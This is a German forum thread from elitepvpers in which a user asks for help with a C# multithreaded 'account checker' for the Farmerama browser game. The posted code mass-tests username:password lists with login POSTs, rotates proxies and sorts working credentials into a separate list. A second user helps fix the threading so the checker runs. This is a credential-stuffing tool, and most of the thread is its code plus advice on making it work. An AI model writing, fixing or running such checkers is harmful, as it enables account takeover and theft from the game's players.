Register for your free account! | Forgot your password?

Go Back   elitepvpers > Coders Den > .NET Languages
You last visited: Today at 13:25

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Brwosergame Login per Httpwebrequest mit Threads

Discussion on Brwosergame Login per Httpwebrequest mit Threads within the .NET Languages forum part of the Coders Den category.

Reply
 
Old   #1
 
elite*gold: 35
Join Date: Jun 2012
Posts: 1,126
Received Thanks: 43
Brwosergame Login per Httpwebrequest mit Threads

Ich brauche hilfe
Ich habe schon alles mögliche versucht aber es geht einfach nciht

Ich möchte einen kleine Account checker schreiben für eine Brwosergame.

Mit Thread´s hier der Code
Code:
private void button1_Click(object sender, EventArgs e)
        {
            button1.Enabled = false;

            button2.Enabled = true;
            checkerThread = new Thread[Convert.ToInt32(30)];
            isRunning = true;
            for (int i = 0; i <= Convert.ToInt32(30) - 1; i++)
            {
                int input = i;
string  usernmae = FarmView.Items[Usernmaeanzahl].SubItems[0].Text.ToString();
                        string pw = FarmView.Items[Usernmaeanzahl].SubItems[1].Text.ToString();
                    string input = usernmae  + ":" + pw;
                checkerThread[i] = new Thread(new ParameterizedThreadStart(FarmChecking));
                checkerThread[i].Start(input);
            }
        }


        private void updateApplication(string status)
        {
            richTextBox1.Text += status;
        }


       private void FarmChecking(object Index)
        {
            while (isRunning)
            {
                try
                {
                    if (richTextBox1.InvokeRequired)
                        richTextBox1.Invoke(new updateApplicationDel(updateApplication), "JA");
                    else
                        richTextBox1.Text = "JA";

                    string ocolto = Index.ToString();
                    string usernmae = ocolto.Split(':')[0].ToString();
                    string pw = ocolto.Split(':')[1].ToString();
                    CookieContainer cookieContainer = new CookieContainer();
                    string loginData = "loginForm_default_username=" + usernmae + "&loginForm_default_password=" + pw + "&loginForm_default_login_submit=Login";
                    ASCIIEncoding encoding = new ASCIIEncoding();
                    byte[] data = Encoding.UTF8.GetBytes(loginData);

                    HttpWebRequest myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171");
                    myRequest.Method = "POST";
                    myRequest.Host = "farmerama.bigpoint.com";
                    myRequest.Referer = "http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171";
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.ServicePoint.Expect100Continue = false;
                    myRequest.UserAgent = "UMozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/19.0 Firefox/19.0";
                    myRequest.ContentType = "application/x-www-form-urlencoded";
                    myRequest.ContentLength = data.Length;
                    Stream newStream = myRequest.GetRequestStream();
                    newStream.Write(data, 0, data.Length);
                    newStream.Close();
                    HttpWebResponse myRes = (HttpWebResponse)myRequest.GetResponse();

                    myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?action=internalGame");
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.Method = "GET";
                    myRes = (HttpWebResponse)myRequest.GetResponse();
                    StreamReader srs = new StreamReader(myRes.GetResponseStream());



                    string html = srs.ReadToEnd();
                    Htmlüberprüfen(html, usernmae, pw);
                }

                catch
                {
                }
            }

        }


        private void button2_Click(object sender, EventArgs e)
        {
            button1.Enabled = true;
            button2.Enabled = false;
            isRunning = false;

            for (int i = 0; i <= Convert.ToInt32(30) - 1; i++)
            {
                checkerThread[i].Abort();
            }
        }


        private void Htmlüberprüfen(string html, string username, string pw)
        {
            if (html.Contains(username))
            {
                ListViewItem item1 = new ListViewItem();
                item1.Text = username;
                item1.SubItems.Add(pw);
                Farmenview.Items.Add(item1);
            }
            else
            {
                ListViewItem item1 = new ListViewItem();
                item1.Text = username;
                item1.SubItems.Add(pw);
                Farmenviewnicht.Items.Add(item1);
            }

        }
leider funktioniert das ganz nicht
warum eigentlich?

Wenn ich das per Butten mache
Code:
string loginData = "loginForm_default_username=" + Username " + &loginForm_default_password=" + Passwort + "&loginForm_default_login_submit=Login";
                    ASCIIEncoding encoding = new ASCIIEncoding();
                    byte[] data = Encoding.UTF8.GetBytes(loginData);

                    HttpWebRequest myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171");
                    myRequest.Method = "POST";
                    myRequest.Host = "farmerama.bigpoint.com";
                    myRequest.Referer = "http://farmerama.bigpoint.com/?locale=de&aid=215&aip=famarama&acr=171";
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.ServicePoint.Expect100Continue = false;
                    myRequest.UserAgent = "UMozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/19.0 Firefox/19.0";
                    myRequest.ContentType = "application/x-www-form-urlencoded";
                    myRequest.ContentLength = data.Length;
                    Stream newStream = myRequest.GetRequestStream();
                    newStream.Write(data, 0, data.Length);
                    newStream.Close();
                    HttpWebResponse myRes = (HttpWebResponse)myRequest.GetResponse();

                    myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/?action=internalGame");
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.Method = "GET";
                    myRes = (HttpWebResponse)myRequest.GetResponse();
                    StreamReader srs = new StreamReader(myRes.GetResponseStream());
                    string html = srs.ReadToEnd();
                    if (html.Contains(Username))
                    {
                        richTextBox1.Text += "Eingelogt Passwort = " + Passwort;
                        Eingelogt = true;
                        button2.Enabled = false;
                        button1.Enabled = true;
                        anzahl = 0;
                    }
                    else
                    {
                        richTextBox1.Text += "Nicht Eingelogt Passwort = " + Passwort + "\r\n";
                        anzahl++;
                        
                    }
                    myRequest = (HttpWebRequest)HttpWebRequest.Create("http://farmerama.bigpoint.com/index.php?action=externalLogout");
                    myRequest.CookieContainer = cookieContainer;
                    myRequest.Method = "GET";
                    myRes = (HttpWebResponse)myRequest.GetResponse();
                    Application.DoEvents();
dann sagt er mir das ich eingelogt bin aber per Thread funktioniert das ganz leider nicht.

Es gibt leider keine fehler sonst könnte ich vieleicht es selber lösen

Er postet einfach nicht

Kann mir da jemand weiter helfen?
Danke schon mal
master_oli is offline  
Old 11/18/2012, 15:32   #2
 
Kraizy​'s Avatar
 
elite*gold: 0
The Black Market: 471/0/0
Join Date: Apr 2010
Posts: 9,696
Received Thanks: 1,811
CheckForIllegalCrossThreadCalls entfernen und nach invoke/delegate googlen
Kraizy​ is offline  
Old 11/19/2012, 06:51   #3
 
elite*gold: 35
Join Date: Jun 2012
Posts: 1,126
Received Thanks: 43
wie kann ich delegate benutzen?
habe mal diese hier verscuht aber es kommt immer dieser fehler

Quote:
Ungültiger threadübergreifender Vorgang: Der Zugriff auf das Steuerelement Proxyview erfolgte von einem anderen Thread als dem Thread, für den es erstellt wurde.
Code:
public delegate string SimpleDelegate(string a , string b);

private void button1_Click(object sender, EventArgs e)
        {
            Form1 ff = new Form1();
            SimpleDelegate add = new SimpleDelegate(ff.proxys);
            button1.Enabled = false;
            button2.Enabled = true;
            eingelgot = false;
            checkerThread = new Thread[Convert.ToInt32(30)];
            isRunning = true;
            Proxyanzahl = 0;
            for (int i = 0; i <= Convert.ToInt32(30) - 1; i++)
            {
                int input = i;
                checkerThread[i] = new Thread(new ParameterizedThreadStart(FarmChecking));
                checkerThread[i].Start(input);
            }
        }

public string proxys(string a , string b)
        {
            return a + ":" + b.ToUpper();
        }

private void FarmChecking(object Index)
        {
            while (isRunning)
            {
                if (eingelgot == true)
                {
                    checkerThread[(int)Index].Abort();
                }
                try
                {
                    
                    Proxyanzahl++;
                    CookieContainer cookieContainer = new CookieContainer();
                    
      //hier ist der fehler//              string Proxy = proxys(Proxyview.Items[Proxyanzahl].SubItems[0].Text.ToString(), Proxyview.Items[Proxyanzahl].SubItems[1].Text.ToString());
                    ...................
master_oli is offline  
Old 11/19/2012, 12:03   #4
 
Kraizy​'s Avatar
 
elite*gold: 0
The Black Market: 471/0/0
Join Date: Apr 2010
Posts: 9,696
Received Thanks: 1,811
Ja, du kannst eben nicht einfach von einem anderen Thread direkt auf deine Controls (in diesem Fall 'Proxyview') zugreifen.



Du kannst aber auch deine Proxies einfach deiner Methode übergeben, den object Parameter gibt es ja nicht umsonst.

Achja, Thread.Abort() würde ich dir nicht unbedingt empfehlen zu nutzen, normalerweise/am besten lässt man einen Thread "auslaufen".
Kraizy​ is offline  
Thanks
2 Users
Old 11/19/2012, 16:51   #5
 
elite*gold: 35
Join Date: Jun 2012
Posts: 1,126
Received Thanks: 43
so ja jetzt funktioniert es wenn ich es übergebe aber ich habe mal soetwas laufen lassen
Code:
if (richTextBox1.InvokeRequired)
                        richTextBox1.Invoke(new updateApplicationDel(updateApplication), "JA");
                    else
                        richTextBox1.Text = "JA";
nur mal so um zu überprüfen was er macht
Aber ich habe gemerkt nach dem Start also nachdem jeder Thread einaml das Ja in die richTextBox1 eingetragen hat macht er nichts mehr
Warum eigentlich?
Ich habe doch eine entlos schleife die eigentlich erst unterbrochen werden soll wenn ich auf Butten2 Click

was ist dort jetzt das Porblem?
Habe es oben geändert
master_oli is offline  
Old 11/20/2012, 12:18   #6
 
Kraizy​'s Avatar
 
elite*gold: 0
The Black Market: 471/0/0
Join Date: Apr 2010
Posts: 9,696
Received Thanks: 1,811
Ich versteh nicht genau, wieso du überhaupt eine while Schleife nutzt. So wie ich das verstanden habe, willst du doch deine Accounts auf Gültigkeit prüfen und nutzt Multithreading, um mehrere Accounts zur gleichen Zeit zu überprüfen. Dann starte doch einfach pro Account einen neuen Thread und in diesem prüfst du einfach einmal, ob ein Login möglich ist oder auch nicht (und dann jenachdem in die jeweilige ListView eintragen) - aber die while Schleife ist da irgendwie sinnlos, weil wenn die Logindaten falsch sind, dann bleiben die doch auch falsch und werden nicht nach dem 10. Loginversuch plötzlich richtig sein.
Kraizy​ is offline  
Old 11/24/2012, 11:42   #7
 
elite*gold: 0
Join Date: Jun 2009
Posts: 132
Received Thanks: 37
Wofür wurden async Funktionen zu den Klassen hinzugefügt?????



dasschild is offline  
Reply


Similar Threads Similar Threads
c# httpwebrequest Travian
12/07/2017 - .NET Languages - 2 Replies
Gude Leute ich hätt da mal ein anliegen ich will mir ein kleines Tool zur vereinfachten bedinung von Travian schreiben nur leider bekomme ich das irgendwie nicht auf die Reihe. da mein Code nicht so recht funktioniert hat habe ich mir den code von jemand anderes mal geklaut aber der ergibt das gleiche problem. Das Probleme ist er zeigt die Seite nicht richtig an und er baut keine truppen wenn ich auf Button1 click. wenn mir einer das vielleicht mal flicken könnte oder mir erklären...
HttpWebRequest Login
10/18/2012 - .NET Languages - 23 Replies
Hi ihr, ich habe mich nun mal an HttpWebRequest gewagt und versucht mich darüber auf Elitepvpers einzuloggen. private void button1_Click(object sender, EventArgs e) { CookieContainer cookieCon = new CookieContainer(); HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www .elitepvpers.com/forum/login.php?do=login"); request.Method = "POST"; request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; rv:8.0)...
Datei kopieren nach login mit httpwebrequest funktioniert nicht - vb.net 2010
06/08/2012 - .NET Languages - 0 Replies
bitte löschen
[VB] HttpWebRequest Problem -.-
02/02/2012 - .NET Languages - 1 Replies
Hallo liebe Elitepvpers User, ich habe leider folgendes Problem: Ich möchte von dem Spam Email Anbieter "yopmail.com" meine Emails auslesen. Dazu muss ich mich auf der Webseite einfach mit "test" Anmelden Hierzu der HTTP Header : Siehe Anhang accname = Account Name im Beispiel "test"



All times are GMT +1. The time now is 13:26.


Powered by vBulletin®
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2026 elitepvpers All Rights Reserved.